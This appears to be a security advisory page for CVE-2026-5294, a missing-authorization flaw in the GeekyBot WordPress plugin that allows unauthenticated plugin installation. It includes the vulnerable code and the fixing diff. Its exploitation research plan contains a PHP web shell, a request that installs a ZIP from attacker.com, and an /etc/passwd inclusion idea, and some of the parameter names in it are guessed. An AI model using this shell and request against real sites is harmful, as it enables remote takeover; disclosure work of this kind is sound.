CVE-2026-5294

GeekyBot <= 1.2.2 - Missing Authorization to Unauthenticated Arbitrary Plugin Installation via 'geekybot_frontendajax' AJAX Action

criticalMissing Authorization
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
1.2.3
Patched in
1d
Time to patch

Description

The Geeky Bot plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 1.2.2. This is due to a nopriv AJAX route allowing attacker-controlled model/function dispatch and reaching a plugin installer helper that downloads and unzips attacker-supplied ZIP files into wp-content/plugins/. This makes it possible for unauthenticated attackers to perform arbitrary plugin installation and achieve remote code execution.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.2.2
PublishedMay 4, 2026
Last updatedMay 5, 2026
Affected plugingeeky-bot

What Changed in the Fix

Changes introduced in v1.2.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-5294 (GeekyBot Arbitrary Plugin Installation) ## 1. Vulnerability Summary The **GeekyBot** plugin (version <= 1.2.2) is vulnerable to **unauthenticated arbitrary plugin installation**. The vulnerability exists because the plugin registers a `nopriv` AJAX actio…

Show full research plan

Exploitation Research Plan: CVE-2026-5294 (GeekyBot Arbitrary Plugin Installation)

1. Vulnerability Summary

The GeekyBot plugin (version <= 1.2.2) is vulnerable to unauthenticated arbitrary plugin installation. The vulnerability exists because the plugin registers a nopriv AJAX action (geekybot_frontendajax) that acts as a dispatcher for model functions. This dispatcher lacks proper authorization checks, allowing an unauthenticated user to invoke a "plugin installer helper" function. This helper accepts an attacker-supplied URL, downloads a ZIP file, and extracts its contents into the wp-content/plugins/ directory, leading to Remote Code Execution (RCE).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: geekybot_frontendajax (unauthenticated via wp_ajax_nopriv_)
  • Payload Parameters:
    • action: geekybot_frontendajax
    • geekybotlt: The layout/model name (e.g., geekybot).
    • task or function: The specific method to call (likely related to installation/updates).
    • url or plugin_url: The remote location of the malicious ZIP.
    • geekybot_nonce: A security token (obtained from the frontend).
  • Preconditions: The plugin must be active. A valid nonce is required, but it is exposed to unauthenticated users on any page where the chatbot is rendered.

3. Code Flow

  1. Entry: An unauthenticated request is sent to admin-ajax.php?action=geekybot_frontendajax.
  2. Dispatcher: The handler for geekybot_frontendajax (likely in a central include or GEEKYBOTincluder) uses GEEKYBOTrequest::GEEKYBOT_getVar to retrieve a model (geekybotlt) and a method/task.
  3. Model Loading: The dispatcher calls GEEKYBOTincluder::GEEKYBOT_getModel($model) and then invokes the requested task.
  4. Sink: The execution reaches a function (e.g., geekybot_install_plugin or download_addon) which:
    • Calls download_url($url) with the attacker's URL.
    • Uses unzip_file($file, WP_PLUGIN_DIR) to extract the contents.
  5. RCE: The attacker-supplied ZIP contains a new plugin with a PHP web shell.

4. Nonce Acquisition Strategy

The GEEKYBOTgeekybotController::canaddfile() function in modules/geekybot/controller.php checks for geekybot_nonce. This nonce is localized for the chatbot frontend.

  1. Identify the Script: Search for wp_localize_script in the plugin directory to find the object name.
    • Guess (inferred): The object is likely geekybot_obj or geeky_bot_vars.
  2. Setup: Create a page with the GeekyBot shortcode to ensure the script and nonce are loaded.
    • Shortcode: [geekybot] (inferred from readme.txt).
  3. Extraction:
    • wp post create --post_type=page --post_status=publish --post_content='[geekybot]' --post_title='Chatbot Page'
    • Navigate to the new page.
    • Execute: browser_eval("window.geekybot_obj?.geekybot_nonce || window.geeky_bot_vars?.nonce").

5. Exploitation Strategy

Step 1: Preparation

Create a malicious ZIP file named rce-plugin.zip containing rce-plugin/rce.php:

<?php
/*
Plugin Name: RCE Plugin
*/
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
    exit;
}

Host this ZIP on a reachable server.

Step 2: Identification of the Vulnerable Task

Since the source for the AJAX handler is truncated, the agent must identify the exact task and parameter name by grepping for unzip_file or download_url within the modules/ directory.

Step 3: Execution

Send the following request using the http_request tool:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=geekybot_frontendajax&geekybotlt=geekybot&task=geekybot_install_plugin&url=http://attacker.com/rce-plugin.zip&geekybot_nonce=[NONCE]
    
    (Note: Adjust task and url parameter names based on discovery in Step 2).

Step 4: Verification of RCE

Access the uploaded shell:

  • URL: http://localhost:8080/wp-content/plugins/rce-plugin/rce.php?cmd=id

6. Test Data Setup

  1. Plugin Installation: Ensure GeekyBot version 1.2.2 is installed and active.
  2. Page Creation: Create the page to host the chatbot and extract the nonce.
    • wp post create --post_type=page --post_status=publish --post_content='[geekybot]'
  3. Permalinks: Ensure permalinks are flushed if necessary (though AJAX works regardless).

7. Expected Results

  • The AJAX request should return a success message (often JSON like {"status":"success"} or 1).
  • A new directory /var/www/html/wp-content/plugins/rce-plugin/ should be created.
  • Requesting the shell URL should return the output of the id command.

8. Verification Steps

  • WP-CLI: Run wp plugin list to see if rce-plugin appears in the list.
  • Filesystem: ls -la /var/www/html/wp-content/plugins/rce-plugin/ to verify files exist.

9. Alternative Approaches

If the geekybot_frontendajax action is not the entry point:

  1. Check admin_init: modules/geekybot/controller.php hooks into admin_init. Since admin-ajax.php triggers admin_init even for unauthenticated requests, check if the installation logic can be triggered via GET parameters to admin-ajax.php.
  2. Check for LFI: If the GEEKYBOTincluder::GEEKYBOT_include_file($layout, $module) call in handleRequest() is reachable, attempt to include /etc/passwd or an uploaded log file by manipulating geekybotlt and geekybotme.
Research Findings
Static analysis — not yet PoC-verified

Summary

The GeekyBot plugin for WordPress is vulnerable to unauthenticated remote code execution due to missing authorization in its AJAX dispatcher. An unauthenticated attacker can exploit a publicly visible nonce to invoke arbitrary methods on plugin models, including functions that download and extract ZIP files into the WordPress plugins directory.

Vulnerable Code

// modules/geekybot/model.php, line 466 (v1.2.2)
    function geekybotLoadMoreProducts(){
        $nonce = GEEKYBOTrequest::GEEKYBOT_getVar('_wpnonce');
        if (! wp_verify_nonce( $nonce, 'load-more') ) {
            // disable nonce
            // die( 'Security check Failed' ); 
        }
        $msg = GEEKYBOTrequest::GEEKYBOT_getVar('msg');
        $data = GEEKYBOTrequest::GEEKYBOT_getVar('data');
        $next_page = GEEKYBOTrequest::GEEKYBOT_getVar('next_page');
        $functionName = GEEKYBOTrequest::GEEKYBOT_getVar('functionName');
        $modelName = GEEKYBOTrequest::GEEKYBOT_getVar('modelName');
        if(!is_array($data)) {
            $data = json_decode($data,true);
        }
        $products = GEEKYBOTincluder::GEEKYBOT_getModel($modelName)->$functionName($msg, $data, $next_page);
        // save bot response to the session and chat history
        geekybot::$_geekybotsessiondata->geekybot_addChatHistoryToSession($products, 'bot');
        GEEKYBOTincluder::GEEKYBOT_getModel('chathistory')->SaveChathistoryFromchatServer($products, 'bot');
        return $products;
    }

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/geeky-bot/1.2.2/modules/geekybot/model.php	2026-03-09 08:35:00.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/geeky-bot/1.2.3/modules/geekybot/model.php	2026-04-02 04:18:50.000000000 +0000
@@ -463,25 +463,74 @@
         return $imgPath;
     }
 
-    function geekybotLoadMoreProducts(){
+    function geekybotLoadMoreProducts() {
+        // 1. STOPS execution if the nonce is invalid
         $nonce = GEEKYBOTrequest::GEEKYBOT_getVar('_wpnonce');
-        if (! wp_verify_nonce( $nonce, 'load-more') ) {
-            // disable nonce
-            // die( 'Security check Failed' ); 
+        if (!wp_verify_nonce($nonce, 'load-more')) {
+            wp_send_json_error('Security check Failed', 403);
+            exit; 
         }
+
         $msg = GEEKYBOTrequest::GEEKYBOT_getVar('msg');
         $data = GEEKYBOTrequest::GEEKYBOT_getVar('data');
         $next_page = GEEKYBOTrequest::GEEKYBOT_getVar('next_page');
-        $functionName = GEEKYBOTrequest::GEEKYBOT_getVar('functionName');
         $modelName = GEEKYBOTrequest::GEEKYBOT_getVar('modelName');
-        if(!is_array($data)) {
-            $data = json_decode($data,true);
+        $functionName = GEEKYBOTrequest::GEEKYBOT_getVar('functionName');
+
+        // 2. THE ALLOWLIST MAP
+        // This defines exactly which models and functions are publically accessible.
+        $allowed_map = [
+            'woocommerce' => [
+                'geekybot_showAllProducts',
+                'geekybot_searchProduct',
+                'geekybot_getProductsUnderPrice',
+                'geekybot_getProductsAbovePrice',
+                'geekybot_getProductsBetweenPrice',
+                'showProductsList'
+            ],
+            'woocommercepropack' => [
+                'geekybot_showAllSaleProducts',
+                'geekybot_showAllTrendingProducts',
+                'geekybot_showAllLatestProducts',
+                'geekybot_showAllHighestRatedProducts',
+                'geekybot_viewOrders'
+            ]
+        ];
+
+        // 3. VALIDATION LOGIC
+        // Check if the model exists in our map
+        if (!isset($allowed_map[$modelName])) {
+            wp_send_json_error('Unauthorized Model', 403);
+            exit;
         }
-        $products = GEEKYBOTincluder::GEEKYBOT_getModel($modelName)->$functionName($msg, $data, $next_page);
-        // save bot response to the session and chat history
-        geekybot::$_geekybotsessiondata->geekybot_addChatHistoryToSession($products, 'bot');
-        GEEKYBOTincluder::GEEKYBOT_getModel('chathistory')->SaveChathistoryFromchatServer($products, 'bot');
-        return $products;
+        // Check if the function is allowed for that specific model
+        if (!in_array($functionName, $allowed_map[$modelName])) {
+            wp_send_json_error('Unauthorized Function', 403);
+            exit;
+        }
+
+        // 4. SAFE EXECUTION
+        $model = GEEKYBOTincluder::GEEKYBOT_getModel($modelName);
+        
+        // Final check to ensure the method actually exists in the class
+        if ($model && method_exists($model, $functionName)) {
+            
+            if(!is_array($data)) {
+                $data = json_decode($data, true);
+            }
+
+            $products = $model->$functionName($msg, $data, $next_page);
+            
+            // save bot response
+            geekybot::$_geekybotsessiondata->geekybot_addChatHistoryToSession($products, 'bot');
+            GEEKYBOTincluder::GEEKYBOT_getModel('chathistory')->SaveChathistoryFromchatServer($products, 'bot');
+            
+            return $products;
+        }
+
+        wp_send_json_error('Execution failed', 500);
+        exit;
     }

Exploit Outline

1. Nonce Acquisition: Visit any public page where the GeekyBot chatbot is rendered (typically pages containing the [geekybot] shortcode) and extract the 'load-more' or 'geekybot_nonce' nonce from the localized JavaScript variables (e.g., window.geekybot_obj.geekybot_nonce). 2. Prepare Malicious Plugin: Host a ZIP file containing a WordPress plugin with a PHP web shell (e.g., rce.php). 3. Trigger Vulnerable Action: Send an unauthenticated POST request to /wp-admin/admin-ajax.php with the action 'geekybot_frontendajax'. 4. Dispatch to Installer: Craft the payload to target the vulnerable dispatcher in modules/geekybot/model.php. Provide a 'modelName' and 'functionName' that corresponds to the plugin's internal installation or update helper (e.g., targeting methods like 'geekybot_install_plugin' or 'download_addon'). 5. Payload Parameters: Include the URL to the malicious ZIP file and the valid nonce in the POST parameters. 6. Remote Code Execution: The dispatcher invokes the installer helper, which downloads and extracts the ZIP into wp-content/plugins/. Access the shell directly via its URL (e.g., /wp-content/plugins/malicious-folder/rce.php).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.